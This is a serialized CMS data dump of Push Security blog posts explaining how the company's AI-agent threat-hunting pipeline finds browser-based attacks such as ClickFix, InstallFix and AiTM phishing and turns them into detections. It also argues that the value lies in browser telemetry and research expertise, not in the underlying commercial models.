ads will be expected to redirect to pages hosted on custom domains, not shared domains like ",{"data":11664,"marks":11665,"value":11667,"nodeType":865},{},[11666],{"type":935},"*pages.dev",{"data":11669,"marks":11670,"value":3202,"nodeType":865},{},[],{"data":11672,"marks":11673,"value":11675,"nodeType":865},{},[11674],{"type":935},"*workers.dev",{"data":11677,"marks":11678,"value":3202,"nodeType":865},{},[],{"data":11680,"marks":11681,"value":11683,"nodeType":865},{},[11682],{"type":935},"*squarespace.com",{"data":11685,"marks":11686,"value":11687,"nodeType":865},{},[],", etc.",{"data":11689,"content":11690,"nodeType":866},{},[11691],{"data":11692,"marks":11693,"value":11694,"nodeType":865},{},[],"Our AI agents already understood key TTPs that indicated potential maliciousness on a page: password prompts, file downloads, OAuth integrations, clipboard copies, and similar user prompts that are frequently abused.",{"data":11696,"content":11697,"nodeType":866},{},[11698],{"data":11699,"marks":11700,"value":11701,"nodeType":865},{},[],"The agent ran several queries that returned matching browsing traces — the term we use for sequences of events in a session or tab context — where the user clicked a Google ad, was redirected to a page on a shared hosting domain, and then clicked a button to copy content to their clipboard.",{"data":11703,"content":11707,"nodeType":921},{"target":11704},{"sys":11705},{"id":11706,"type":918,"linkType":919},"4IWOrWuvbwzWRJUkINiwKH",[],{"data":11709,"content":11710,"nodeType":866},{},[11711],{"data":11712,"marks":11713,"value":11714,"nodeType":865},{},[],"We got back high-fidelity findings and then tuned the query into a continuous detection that leveraged existing detection logic around related techniques. This process also effectively back-tests new detections, so we know we’re not going to generate a lot of false positives. Result: A new detection against a new technique, plus several improvements to existing detections.",{"data":11716,"content":11717,"nodeType":1229},{},[11718],{"data":11719,"marks":11720,"value":11722,"nodeType":865},{},[11721],{"type":935},"What infrastructure is needed for agentic threat hunting?",{"data":11724,"content":11725,"nodeType":866},{},[11726],{"data":11727,"marks":11728,"value":11729,"nodeType":865},{},[],"Both of these examples illustrate the end-to-end workflows supported by this pipeline. From an infrastructure perspective, you can think about the pipeline as composed of:",{"data":11731,"content":11732,"nodeType":2374},{},[11733,11748,11763,11778,11793],{"data":11734,"content":11735,"nodeType":2309},{},[11736],{"data":11737,"content":11738,"nodeType":866},{},[11739,11744],{"data":11740,"marks":11741,"value":11743,"nodeType":865},{},[11742],{"type":935},"A flight recorder: ",{"data":11745,"marks":11746,"value":11747,"nodeType":865},{},[],"The Push extension-powered capability that collects and locally stores browser event metadata from users’ browsers.",{"data":11749,"content":11750,"nodeType":2309},{},[11751],{"data":11752,"content":11753,"nodeType":866},{},[11754,11759],{"data":11755,"marks":11756,"value":11758,"nodeType":865},{},[11757],{"type":935},"A knowledge base:",{"data":11760,"marks":11761,"value":11762,"nodeType":865},{},[]," Structured knowledge about what Push knows about TTPs and its existing body of detection logic, as well as externally sourced signals of new attack trends.",{"data":11764,"content":11765,"nodeType":2309},{},[11766],{"data":11767,"content":11768,"nodeType":866},{},[11769,11774],{"data":11770,"marks":11771,"value":11773,"nodeType":865},{},[11772],{"type":935},"Agents as tools: ",{"data":11775,"marks":11776,"value":11777,"nodeType":865},{},[],"Role-segmented agents that work as a team to triage, investigate, develop hunt queries, return analyses, write detections, and review each others’ work for completeness and accuracy.",{"data":11779,"content":11780,"nodeType":2309},{},[11781],{"data":11782,"content":11783,"nodeType":866},{},[11784,11789],{"data":11785,"marks":11786,"value":11788,"nodeType":865},{},[11787],{"type":935},"Humans in the loop: ",{"data":11790,"marks":11791,"value":11792,"nodeType":865},{},[],"Human researchers who collaborate with agents to initiate hunts and tune detections.",{"data":11794,"content":11795,"nodeType":2309},{},[11796],{"data":11797,"content":11798,"nodeType":866},{},[11799,11804],{"data":11800,"marks":11801,"value":11803,"nodeType":865},{},[11802],{"type":935},"Platform controls: ",{"data":11805,"marks":11806,"value":11807,"nodeType":865},{},[],"The Push administrator-configured controls that specify how to respond to detected events like AiTM phishing, tuneable by scope, user groups, browser profiles, apps, etc.",{"data":11809,"content":11813,"nodeType":921},{"target":11810},{"sys":11811},{"id":11812,"type":918,"linkType":919},"7FY0vCBUXOt4vnudFuKALC",[],{"data":11815,"content":11816,"nodeType":1229},{},[11817],{"data":11818,"marks":11819,"value":11821,"nodeType":865},{},[11820],{"type":935},"What are the best practices for agentic threat detection?",{"data":11823,"content":11824,"nodeType":866},{},[11825,11829,11834],{"data":11826,"marks":11827,"value":11828,"nodeType":865},{},[],"To be effective, agents must specialize and focus. This is the ",{"data":11830,"marks":11831,"value":11833,"nodeType":865},{},[11832],{"type":935},"agents as tools",{"data":11835,"marks":11836,"value":11837,"nodeType":865},{},[]," concept. When we’re asking AI agents to take massive amounts of data and make a high-level decision about a signal in observed browser events, they must work as a team, finding intelligent ways to condense information without losing important context or hallucinating.",{"data":11839,"content":11840,"nodeType":866},{},[11841],{"data":11842,"marks":11843,"value":11844,"nodeType":865},{},[],"Creating a hierarchy of agent jobs — including agents to perform meta-analyses to catch mistakes and verify conclusions — makes the agents effective by giving them a manageable focus that controls the size of context windows.",{"data":11846,"content":11850,"nodeType":921},{"target":11847},{"sys":11848},{"id":11849,"type":918,"linkType":919},"3fzJCknMUmh4Z7YnhBSbsT",[],{"data":11852,"content":11853,"nodeType":866},{},[11854],{"data":11855,"marks":11856,"value":11857,"nodeType":865},{},[],"Creating an agentic workflow requires operationalizing your internal knowledge in a repeatable and trustworthy way. Sharing rich context from human discoveries is the key to getting the best results out of agents. ",{"data":11859,"content":11860,"nodeType":866},{},[11861,11865,11870],{"data":11862,"marks":11863,"value":11864,"nodeType":865},{},[],"It's vital too that the agent uses ",{"data":11866,"marks":11867,"value":11869,"nodeType":865},{},[11868],{"type":935},"privacy-preserving methods and infrastructure.",{"data":11871,"marks":11872,"value":11873,"nodeType":865},{},[]," The Push agent is designed to respect customer and user privacy while enabling high-fidelity detections. We do this by collecting broad browser metadata but storing it locally in users’ browsers and only querying that metadata during active threat hunting investigations.",{"data":11875,"content":11876,"nodeType":944},{},[],{"data":11878,"content":11879,"nodeType":953},{},[11880],{"data":11881,"marks":11882,"value":11884,"nodeType":865},{},[11883],{"type":935},"The compounding effect and how it benefits Push customers",{"data":11886,"content":11887,"nodeType":866},{},[11888],{"data":11889,"marks":11890,"value":11891,"nodeType":865},{},[],"At Push, we think about our detection capability as two learning loops with a compounding effect: An inner loop that serves as our real-time detection and response engine for known attacker techniques, and an outer loop that is the continuous learning our agents do as they hunt for new threats, analyze emerging behaviors, and create new detections. ",{"data":11893,"content":11894,"nodeType":866},{},[11895],{"data":11896,"marks":11897,"value":11898,"nodeType":865},{},[],"The outer loop feeds the inner loop, and vice versa.",{"data":11900,"content":11904,"nodeType":921},{"target":11901},{"sys":11902},{"id":11903,"type":918,"linkType":919},"1Jjqll7IIX2QRxN37gjFMH",[],{"data":11906,"content":11907,"nodeType":866},{},[11908],{"data":11909,"marks":11910,"value":11911,"nodeType":865},{},[],"Customers benefit from this approach because it means they:",{"data":11913,"content":11914,"nodeType":2374},{},[11915,11937,11947],{"data":11916,"content":11917,"nodeType":2309},{},[11918],{"data":11919,"content":11920,"nodeType":866},{},[11921,11925,11933],{"data":11922,"marks":11923,"value":11924,"nodeType":865},{},[],"Regularly receive ready-made detections against both known and emerging browser-based threats, without having to write their own detections. (Push also provides the ability to write your own ",{"data":11926,"content":11928,"nodeType":889},{"uri":11927},"/help/audience/engineering/resources/custom-detections",[11929],{"data":11930,"marks":11931,"value":11932,"nodeType":865},{},[],"custom detections",{"data":11934,"marks":11935,"value":11936,"nodeType":865},{},[],", too, for environment-specific use cases.)",{"data":11938,"content":11939,"nodeType":2309},{},[11940],{"data":11941,"content":11942,"nodeType":866},{},[11943],{"data":11944,"marks":11945,"value":11946,"nodeType":865},{},[],"Can configure Push’s response actions based on their security goals and environment. Agents act as the threat-hunting and detection engineering team; Push customers set the thresholds for how they want to respond. For example, customers can use Push controls to block all AiTM phishing attacks (or even carve out exceptions for their own incident responders to be able to visit malicious pages with just a warning), and agents continually feed new indicators into detection logic for that class of attack.",{"data":11948,"content":11949,"nodeType":2309},{},[11950],{"data":11951,"content":11952,"nodeType":866},{},[11953],{"data":11954,"marks":11955,"value":11956,"nodeType":865},{},[],"Get pre-digested and actionable intelligence from every detection, with extremely high fidelity.",{"data":11958,"content":11959,"nodeType":866},{},[11960],{"data":11961,"marks":11962,"value":11963,"nodeType":865},{},[],"This all equates to your own advanced browser threat protection, without requiring the specialized in-house expertise we’ve spent years building.",{"data":11965,"content":11966,"nodeType":866},{},[11967],{"data":11968,"marks":11969,"value":11970,"nodeType":865},{},[],"If you’re a Push customer, you already know that we regularly collaborate with security teams to identify and refine detection use cases, and assist with investigations. In the past few months alone, we’ve worked closely with teams targeted by device code phishing, and InstallFix and ClickFix campaigns, among others. ",{"data":11972,"content":11973,"nodeType":866},{},[11974],{"data":11975,"marks":11976,"value":11977,"nodeType":865},{},[],"If you’re not a customer and are curious about how Push’s agentic threat hunting and detection engineering capabilities can address your use cases, please get in touch.",{"data":11979,"content":11983,"nodeType":921},{"target":11980},{"sys":11981},{"id":11982,"type":918,"linkType":919},"607jrBjlD1vtcbkDfD04DE",[],{"data":11985,"content":11986,"nodeType":944},{},[],{"data":11988,"content":11989,"nodeType":953},{},[11990],{"data":11991,"marks":11992,"value":11994,"nodeType":865},{},[11993],{"type":935},"Learn more",{"data":11996,"content":11997,"nodeType":866},{},[11998],{"data":11999,"marks":12000,"value":1471,"nodeType":865},{},[],{"data":12002,"content":12003,"nodeType":866},{},[12004],{"data":12005,"marks":12006,"value":1478,"nodeType":865},{},[],{"data":12008,"content":12009,"nodeType":866},{},[12010,12013,12020],{"data":12011,"marks":12012,"value":2641,"nodeType":865},{},[],{"data":12014,"content":12016,"nodeType":889},{"uri":12015},"/demo",[12017],{"data":12018,"marks":12019,"value":2649,"nodeType":865},{},[],{"data":12021,"marks":12022,"value":2653,"nodeType":865},{},[],{"entries":12024},{"inline":12025,"hyperlink":12026,"block":12053},[],[12027,12031,12033,12035,12037,12041,12045,12049],{"sys":12028,"__typename":1802,"title":12029,"slug":12030},{"id":11109},"How cyber criminals power malvertising scams with stolen accounts","cyber-criminal-ecosystem-analysis",{"sys":12032,"__typename":1802,"title":3684,"slug":3687},{"id":2677},{"sys":12034,"__typename":1802,"title":2654,"slug":2657},{"id":1804},{"sys":12036,"__typename":1802,"title":9287,"slug":361},{"id":6293},{"sys":12038,"__typename":1802,"title":12039,"slug":12040},{"id":11310},"ConsentFix: Analyzing a browser-native ClickFix-style attack that hijacks OAuth consent grants","consentfix",{"sys":12042,"__typename":1802,"title":12043,"slug":12044},{"id":11336},"Google Search malvertising campaign continues, now impersonating Ahrefs","google-search-malvertising-campaign-continues-now-impersonating-ahrefs",{"sys":12046,"__typename":1802,"title":12047,"slug":12048},{"id":11360},"Uncovering a Calendly-themed phishing campaign targeting business ad manager accounts","uncovering-a-calendly-themed-phishing-campaign",{"sys":12050,"__typename":1802,"title":12051,"slug":12052},{"id":11448},"Our design philosophy: Detecting what matters","our-design-philosophy-detecting-what-matters",[12054,12075,12082,12114,12121,12126,12134,12142,12156,12163],{"sys":12055,"__typename":1679,"content":12056,"name":12074,"title":59},{"id":11212},{"json":12057},{"nodeType":1663,"data":12058,"content":12059},{},[12060,12067],{"nodeType":866,"data":12061,"content":12062},{},[12063],{"nodeType":865,"value":12064,"marks":12065,"data":12066},"In this article, we’ll outline how Push uses AI agents as a force multiplier for identifying emerging threats that target organizations via the browser — think: ClickFix, vibecoded phishing sites, AiTM kits, cloned login pages, ConsentFix attacks, malicious OAuth apps, device code phishing, sites impersonating Claude Code installers, etc. — and share what we’ve learned. ",[],{},{"nodeType":866,"data":12068,"content":12069},{},[12070],{"nodeType":865,"value":12071,"marks":12072,"data":12073},"We’ll cover the architectural decisions we made that enable the successful implementation of agents and some emerging best practices we’ve identified; discuss why our hunts focus on extracting techniques, not indicators; and illustrate how Push customers are benefitting from this agentic pipeline.",[],{},"Agentic Threat Hunting Blog IB1",{"sys":12076,"__typename":1671,"title":1861,"caption":12077,"layoutMode":59,"file":12078},{"id":11374},"Browser and identity-based techniques have exploded since we first launched our attack matrix",{"url":12079,"width":12080,"height":12081},"https://images.ctfassets.net/y1cdw1ablpvd/L0Yc77y9vzrKVD72BQGX2/4ffe0bf61bd62f025262b8efd74394b7/Browser___Identity_Attacks_Matrix__1_.png",6160,4432,{"sys":12083,"__typename":1679,"content":12084,"name":12113,"title":59},{"id":11387},{"json":12085},{"nodeType":1663,"data":12086,"content":12087},{},[12088,12106],{"nodeType":866,"data":12089,"content":12090},{},[12091,12095,12102],{"nodeType":865,"value":12092,"marks":12093,"data":12094},"Push researchers are seeing ",[],{},{"nodeType":889,"data":12096,"content":12097},{"uri":10245},[12098],{"nodeType":865,"value":12099,"marks":12100,"data":12101},"extensive evidence of LLM use",[],{},{"nodeType":865,"value":12103,"marks":12104,"data":12105}," in attacks we detect, from LLM-generated phishing kits and tools to vibe-coded cloned pages, demonstrating how much adversaries have embraced these tools to expedite their work. ",[],{},{"nodeType":866,"data":12107,"content":12108},{},[12109],{"nodeType":865,"value":12110,"marks":12111,"data":12112},"In particular, we’ve observed operator-gated payload delivery that greatly reduces the likelihood that malicious sites will be flagged and added to known-bad detection lists because they’re only served to active targets, using gated landing pages, anti-bot checks, and other methods to evade proactive infrastructure scanning. This reinforces the need for browser-based detection at the point the user interacts with the page.",[],{},"Agentic Threat Hunting Blog IB2",{"sys":12115,"__typename":1671,"title":12116,"caption":12117,"layoutMode":59,"file":12118},{"id":11427},"Sample detection - blog article - custom branding","Sample detection details in the Push admin console for a blocked phishing event",{"url":12119,"width":1675,"height":12120},"https://images.ctfassets.net/y1cdw1ablpvd/6k8qVn1iYXbBl6lcHvphIa/dd802537d883cf6ddafdd78034c3412a/sample_detection.png",766,{"sys":12122,"__typename":12123,"title":12124,"youTubeUrl":12125},{"id":11478},"EmbeddedVideo","Adam Bateman: Agentic AI is a Force Multiplier","https://www.youtube.com/watch?v=F5Qv-su0qQA",{"sys":12127,"__typename":1671,"title":12128,"caption":12129,"layoutMode":59,"file":12130},{"id":11706},"Dissect agent output - agentic threat hunting blog","Summary from the work of Push’s deep investigation AI agent on the initial InstallFix attack detected by Push.",{"url":12131,"width":12132,"height":12133},"https://images.ctfassets.net/y1cdw1ablpvd/6t86kpGUwCVvrJEfVic1Cr/f41986585203764155d736d26cee2176/agentic_summary_example_installfix.png",1998,1428,{"sys":12135,"__typename":1671,"title":12136,"caption":12137,"layoutMode":59,"file":12138},{"id":11812},"Detection engine diagram - agentic threat blog","The Push detection engine combines deep browser telemetry with agentic workflows to rapidly respond to emerging threats.  ",{"url":12139,"width":12140,"height":12141},"https://images.ctfassets.net/y1cdw1ablpvd/1zbE1t82gPo7pgqkAayTcZ/72046ea5db9b80c77053343223025163/platform_diagram_v3.png",1134,762,{"sys":12143,"__typename":1679,"content":12144,"name":12155,"title":59},{"id":11849},{"json":12145},{"data":12146,"content":12147,"nodeType":1663},{},[12148],{"data":12149,"content":12150,"nodeType":866},{},[12151],{"data":12152,"marks":12153,"value":12154,"nodeType":865},{},[],"Use agents as an excuse to operationalize your internal knowledge once and for all. Every security team has a venerable silo of knowledge — that one person who just knows how to do that one major thing. Now, that can be an AI resource accessible to all, at any time, whenever you need it most.","Agentic Threat Hunting Blog IB4",{"sys":12157,"__typename":1671,"title":12158,"caption":12159,"layoutMode":59,"file":12160},{"id":11903},"Learning loops diagram - agentic threat blog","Two learning loops for known and unknown threats create a compounding effect for Push’s ability to defend against browser-based attacks.",{"url":12161,"width":12162,"height":12120},"https://images.ctfassets.net/y1cdw1ablpvd/6TQdqvjhG4AYHITcR1MV9s/b1e1c337f50005186f6022004543023b/learning_loops_v3.png",1001,{"sys":12164,"__typename":6278,"type":6279,"ctaText":12165,"buttonLabel":12166,"buttonColour":6282,"buttonUrl":12167},{"id":11982},"Book a demo to learn more about our agentic threat hunting capabilities and how they can benefit your security team.","Book a Demo","https://site.dev.pushsecurity.com/demo/",{"items":12169},[],{},"How we built an agentic threat hunting pipeline at Push","2026-05-12T00:00:00.000Z",{"items":12174},[12175,12749,13430],{"__typename":1802,"sys":12176,"content":12178,"title":12735,"synopsis":12736,"hashTags":59,"publishedDate":12737,"slug":12738,"tagsCollection":12739,"authorsCollection":12745},{"id":12177},"2nQU0gDEqgarstvFMqFTzn",{"json":12179},{"data":12180,"content":12181,"nodeType":1663},{},[12182,12189,12196,12216,12224,12231,12239,12242,12249,12256,12274,12281,12289,12296,12303,12310,12317,12323,12326,12333,12340,12347,12366,12373,12380,12387,12394,12401,12408,12415,12422,12440,12447,12454,12461,12464,12471,12478,12485,12492,12498,12505,12512,12519,12526,12532,12539,12546,12553,12560,12587,12594,12601,12608,12615,12631,12638,12645,12652,12659,12665,12672,12679,12686,12692,12695,12702,12719],{"data":12183,"content":12184,"nodeType":866},{},[12185],{"data":12186,"marks":12187,"value":12188,"nodeType":865},{},[],"What would it take to vibecode your own AI-driven threat hunting pipeline? ",{"data":12190,"content":12191,"nodeType":866},{},[12192],{"data":12193,"marks":12194,"value":12195,"nodeType":865},{},[],"The commercial models are right there. You’ve probably got a spare weekend coming up, a really nice espresso machine, and a few bucks for tokens. (Is there already an HGTV series on this?)",{"data":12197,"content":12198,"nodeType":866},{},[12199,12203,12212],{"data":12200,"marks":12201,"value":12202,"nodeType":865},{},[],"We recently published a ",{"data":12204,"content":12206,"nodeType":889},{"uri":12205},"https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",[12207],{"data":12208,"marks":12209,"value":12211,"nodeType":865},{},[12210],{"type":1191},"detailed look",{"data":12213,"marks":12214,"value":12215,"nodeType":865},{},[]," at how we use AI agents as a force multiplier for Push’s threat hunting and detection engineering capabilities.One intriguing detail you might have noticed in that article is that at Push, we treat commercial AI models as commoditized infrastructure, akin to cloud computing.",{"data":12217,"content":12218,"nodeType":866},{},[12219],{"data":12220,"marks":12221,"value":12223,"nodeType":865},{},[12222],{"type":935},"So it’s a cheeky question, but a fair one, because if Push is using commercial models, what exactly are you paying for?",{"data":12225,"content":12226,"nodeType":866},{},[12227],{"data":12228,"marks":12229,"value":12230,"nodeType":865},{},[],"It turns out that the models are the easiest things to replace, and in fact we swap out different models with little impact on detection performance. What’s much harder to build is the expertise: the technical knowledge of various attack techniques, the instrumentation in the browser that produces the structured telemetry, and the enforcement layer that turns detections into real-time protection.",{"data":12232,"content":12233,"nodeType":866},{},[12234],{"data":12235,"marks":12236,"value":12238,"nodeType":865},{},[12237],{"type":935},"Let’s break it down.",{"data":12240,"content":12241,"nodeType":944},{},[],{"data":12243,"content":12244,"nodeType":953},{},[12245],{"data":12246,"marks":12247,"value":12248,"nodeType":865},{},[],"The promise and the perils of threat hunting (and where agentic capabilities fit in)",{"data":12250,"content":12251,"nodeType":866},{},[12252],{"data":12253,"marks":12254,"value":12255,"nodeType":865},{},[],"Threat hunting — the practice of proactively searching for threats that haven’t been seen before — is one of the most effective practices in security and one of the least accessible.",{"data":12257,"content":12258,"nodeType":866},{},[12259,12262,12270],{"data":12260,"marks":12261,"value":2361,"nodeType":865},{},[],{"data":12263,"content":12265,"nodeType":889},{"uri":12264},"https://www.sans.org/white-papers/sans-2025-threat-hunting-survey-advancements-threat-hunting-amid-ai-cloud-challenges",[12266],{"data":12267,"marks":12268,"value":12269,"nodeType":865},{},[],"SANS 2025 Threat Hunting Survey",{"data":12271,"marks":12272,"value":12273,"nodeType":865},{},[]," found that 61% of organizations cite staffing shortages as the top barrier to running a hunting program. A single manual hunt takes 10 to 20 hours of sustained analyst focus — forming hypotheses about what an attacker might be doing, querying data sources sequentially, correlating results by hand, documenting findings. Many organizations hunt infrequently or not at all.",{"data":12275,"content":12276,"nodeType":866},{},[12277],{"data":12278,"marks":12279,"value":12280,"nodeType":865},{},[],"Threat hunting in the browser poses specific challenges: The stakes are high as AI-enabled attacks accelerate, and the availability of training and knowledge is low. ",{"data":12282,"content":12283,"nodeType":866},{},[12284],{"data":12285,"marks":12286,"value":12288,"nodeType":865},{},[12287],{"type":935},"AiTM phishing kits that manipulate DOM elements in real time, ClickFix variants that inject malicious payloads through clipboard manipulation, ConsentFix attacks that abuse OAuth consent flows, credential harvesting on pages that rotate infrastructure hourly — these techniques don't map cleanly onto the endpoint-focused threat models most SOC teams were built around, or the data sources they’re used to interrogating. ",{"data":12290,"content":12291,"nodeType":866},{},[12292],{"data":12293,"marks":12294,"value":12295,"nodeType":865},{},[],"Even well-staffed security organizations tend to have a blind spot in the browser layer because the expertise required to hunt there is specialized and the telemetry to support it hasn't historically been available.",{"data":12297,"content":12298,"nodeType":866},{},[12299],{"data":12300,"marks":12301,"value":12302,"nodeType":865},{},[],"Using AI agents to hunt for browser-based threats promises a net-new capability for smaller teams without dedicated threat hunting staff. For larger enterprises, the value of an agentic threat hunting capability lies in its ability to provide (or augment) expertise on emerging attack methods.",{"data":12304,"content":12305,"nodeType":866},{},[12306],{"data":12307,"marks":12308,"value":12309,"nodeType":865},{},[],"Most SOC teams have deep expertise at the endpoint, IdP, cloud, and network layers, built over years of working with those systems’ telemetry and workflows. But browser-based attacks operate in a different domain with different telemetry, different TTPs, and a different evasion model.",{"data":12311,"content":12312,"nodeType":866},{},[12313],{"data":12314,"marks":12315,"value":12316,"nodeType":865},{},[],"A capability like Push’s provides an answer to these three hurdles: providing expertise, without any additional burden on staff, and at a speed that matches the acceleration we’re currently witnessing in browser-based attack techniques.",{"data":12318,"content":12322,"nodeType":921},{"target":12319},{"sys":12320},{"id":12321,"type":918,"linkType":919},"1uw9eFMPDdrevj26fyix5f",[],{"data":12324,"content":12325,"nodeType":944},{},[],{"data":12327,"content":12328,"nodeType":953},{},[12329],{"data":12330,"marks":12331,"value":12332,"nodeType":865},{},[],"This isn’t chatbot log analysis",{"data":12334,"content":12335,"nodeType":866},{},[12336],{"data":12337,"marks":12338,"value":12339,"nodeType":865},{},[],"When you hear “AI-powered threat hunting,” you might imagine an AI copilot sitting on top of your SIEM, summarizing alerts and correlating log entries faster than a human analyst could. It’s a fair assumption because many products use this kind of implementation, and tools like those are useful.",{"data":12341,"content":12342,"nodeType":866},{},[12343],{"data":12344,"marks":12345,"value":12346,"nodeType":865},{},[],"That’s not what we built at Push.",{"data":12348,"content":12349,"nodeType":866},{},[12350,12354,12362],{"data":12351,"marks":12352,"value":12353,"nodeType":865},{},[],"If you’re not familiar with Push, it’s a browser security platform deployed as an extension that detects and stops advanced browser-based attacks while also providing visibility and control over shadow apps and identities, including AI usage. You can use the same telemetry Push provides for these use cases to ",{"data":12355,"content":12357,"nodeType":889},{"uri":12356},"https://pushsecurity.com/blog/why-you-cant-control-ai-without-being-in-the-browser/",[12358],{"data":12359,"marks":12360,"value":12361,"nodeType":865},{},[],"perform data loss and insider risk investigations",{"data":12363,"marks":12364,"value":12365,"nodeType":865},{},[],", too.",{"data":12367,"content":12368,"nodeType":866},{},[12369],{"data":12370,"marks":12371,"value":12372,"nodeType":865},{},[],"What we built is an agentic threat hunting and detection pipeline where AI agents collaborate with in-house threat researchers to continuously hunt for emerging browser-based attack techniques across our customer base, and then automatically write and deploy new detections.",{"data":12374,"content":12375,"nodeType":866},{},[12376],{"data":12377,"marks":12378,"value":12379,"nodeType":865},{},[],"Our pipeline differs from AI-enabled log analysis in three key ways:",{"data":12381,"content":12382,"nodeType":1229},{},[12383],{"data":12384,"marks":12385,"value":12386,"nodeType":865},{},[],"A new telemetry source is the foundation",{"data":12388,"content":12389,"nodeType":866},{},[12390],{"data":12391,"marks":12392,"value":12393,"nodeType":865},{},[],"First, the Push platform generates its own telemetry. The Push browser extension operates as a flight recorder, locally collecting browser session metadata that doesn’t exist anywhere else in the security stack — details like DOM structure, script execution contexts, redirect chains, credential entry behavior, OAuth consent flows, and network requests observed from inside the session. ",{"data":12395,"content":12396,"nodeType":866},{},[12397],{"data":12398,"marks":12399,"value":12400,"nodeType":865},{},[],"This metadata is stored locally and only queried during targeted threat hunts, preserving user and customer privacy.",{"data":12402,"content":12403,"nodeType":1229},{},[12404],{"data":12405,"marks":12406,"value":12407,"nodeType":865},{},[],"Proactive hunting, not just reactive triage",{"data":12409,"content":12410,"nodeType":866},{},[12411],{"data":12412,"marks":12413,"value":12414,"nodeType":865},{},[],"The pipeline also hunts proactively rather than triaging reactively, as with log analysis agents.",{"data":12416,"content":12417,"nodeType":866},{},[12418],{"data":12419,"marks":12420,"value":12421,"nodeType":865},{},[],"Push agents generate hypotheses, craft queries against the telemetry corpus, run them across millions of browsers, and triage the results — searching for techniques that haven't triggered any existing alert or rule. ",{"data":12423,"content":12424,"nodeType":866},{},[12425,12428,12436],{"data":12426,"marks":12427,"value":2361,"nodeType":865},{},[],{"data":12429,"content":12430,"nodeType":889},{"uri":1693},[12431],{"data":12432,"marks":12433,"value":12435,"nodeType":865},{},[12434],{"type":1191},"InstallFix discovery",{"data":12437,"marks":12438,"value":12439,"nodeType":865},{},[]," described in the original agentic threat hunting article is the clearest example: The Push pipeline surfaced 12 meaningful results from trillions of browser events, and one of them was a novel attack technique. That's threat hunting at machine scale, not just alert triage.",{"data":12441,"content":12442,"nodeType":1229},{},[12443],{"data":12444,"marks":12445,"value":12446,"nodeType":865},{},[],"Not just analysis, but new detections, too",{"data":12448,"content":12449,"nodeType":866},{},[12450],{"data":12451,"marks":12452,"value":12453,"nodeType":865},{},[],"Finally, the output isn’t (only) a natural-language summary of what the agents found. It’s a production detection rule that ships to every Push customer and wires into real-time enforcement controls defined by Push admins. ",{"data":12455,"content":12456,"nodeType":866},{},[12457],{"data":12458,"marks":12459,"value":12460,"nodeType":865},{},[],"The pipeline's job isn’t to help you understand an alert faster. Rather, it’s producing detection rules that didn't exist before at a speed that enables those detections to address emerging attack techniques and organization-specific campaigns within minutes.",{"data":12462,"content":12463,"nodeType":944},{},[],{"data":12465,"content":12466,"nodeType":953},{},[12467],{"data":12468,"marks":12469,"value":12470,"nodeType":865},{},[],"Agentic threat hunting as core product infrastructure",{"data":12472,"content":12473,"nodeType":866},{},[12474],{"data":12475,"marks":12476,"value":12477,"nodeType":865},{},[],"The nice thing about commercially available AI models is that they’re really good at understanding web code. That arcane Javascript function you’d have to look up in the docs? They recognize it immediately. That makes them perfectly suited to provide domain knowledge that can be harnessed with the right security expertise.",{"data":12479,"content":12480,"nodeType":866},{},[12481],{"data":12482,"marks":12483,"value":12484,"nodeType":865},{},[],"Using commercial models in our agentic detection pipeline then becomes a force multiplier for our research team’s understanding of TTPs — not a security engine in and of itself.",{"data":12486,"content":12487,"nodeType":866},{},[12488],{"data":12489,"marks":12490,"value":12491,"nodeType":865},{},[],"The four core components of our agentic pipeline can’t be replaced by using the same models we do, because the value is not in the models, but in the product infrastructure, product telemetry, and research expertise those models capitalize on.",{"data":12493,"content":12497,"nodeType":921},{"target":12494},{"sys":12495},{"id":12496,"type":918,"linkType":919},"7oif7PEEC3UMoTqVfRz3ZJ",[],{"data":12499,"content":12500,"nodeType":1229},{},[12501],{"data":12502,"marks":12503,"value":12504,"nodeType":865},{},[],"Component 1: The flight recorder",{"data":12506,"content":12507,"nodeType":866},{},[12508],{"data":12509,"marks":12510,"value":12511,"nodeType":865},{},[],"We deploy as a browser extension — not a separate browser, a proxy or an endpoint agent — which means we sit inside the browser session itself, seeing what the user sees. ",{"data":12513,"content":12514,"nodeType":866},{},[12515],{"data":12516,"marks":12517,"value":12518,"nodeType":865},{},[],"A component of the extension acts as a flight recorder, collecting and locally storing browser-level metadata: DOM elements, tab context, script execution, network traffic, user actions, credential entry, and more. This body of structured browser event metadata is the searchable landscape for every hunt.",{"data":12520,"content":12521,"nodeType":866},{},[12522],{"data":12523,"marks":12524,"value":12525,"nodeType":865},{},[],"That's a data source most security teams have never had access to. You can't get it from an endpoint agent, a network proxy, or a cloud access log, because it doesn't exist outside the browser session. Turns out, it matters more than the model itself: When the model has this full browser context — the DOM, redirect chains, user behavior — it can reason about what happened. When it has to start guessing at those details, it starts hallucinating.",{"data":12527,"content":12531,"nodeType":921},{"target":12528},{"sys":12529},{"id":12530,"type":918,"linkType":919},"6qs9xZvmKlVXOLVhFfMVFx",[],{"data":12533,"content":12534,"nodeType":1229},{},[12535],{"data":12536,"marks":12537,"value":12538,"nodeType":865},{},[],"Component 2: The internal knowledge base",{"data":12540,"content":12541,"nodeType":866},{},[12542],{"data":12543,"marks":12544,"value":12545,"nodeType":865},{},[],"As we mentioned earlier, commercial LLMs understand web code exceedingly well. What they don’t know is which patterns in that code indicate a credential-harvesting AiTM kit versus a legitimate login page, or which redirect behavior signals an InstallFix lure versus a normal marketing funnel.",{"data":12547,"content":12548,"nodeType":866},{},[12549],{"data":12550,"marks":12551,"value":12552,"nodeType":865},{},[],"That distinction comes from our internal knowledge base — years of TTP analysis, curated libraries of traces from real phishing kits encountered in the wild, and hunt parameters refined through hundreds of investigations led by our experienced human research team. ",{"data":12554,"content":12555,"nodeType":866},{},[12556],{"data":12557,"marks":12558,"value":12559,"nodeType":865},{},[],"This knowledge base also reflects a deliberate architectural choice. ",{"data":12561,"content":12562,"nodeType":5786},{},[12563],{"data":12564,"content":12565,"nodeType":866},{},[12566,12570,12578,12582],{"data":12567,"marks":12568,"value":12569,"nodeType":865},{},[],"As our CPO Jacques Louw put it on ",{"data":12571,"content":12573,"nodeType":889},{"uri":12572},"https://risky.biz/RBNEWSSI128/",[12574],{"data":12575,"marks":12576,"value":12577,"nodeType":865},{},[],"Risky Business",{"data":12579,"marks":12580,"value":12581,"nodeType":865},{},[],": ",{"data":12583,"marks":12584,"value":12586,"nodeType":865},{},[12585],{"type":965},"\"There's no list of bad domains anywhere in the product. It's a crutch — a false cheat code that stops you from doing the detection in the way that actually is resilient, because the next time you see it, it will be on a different 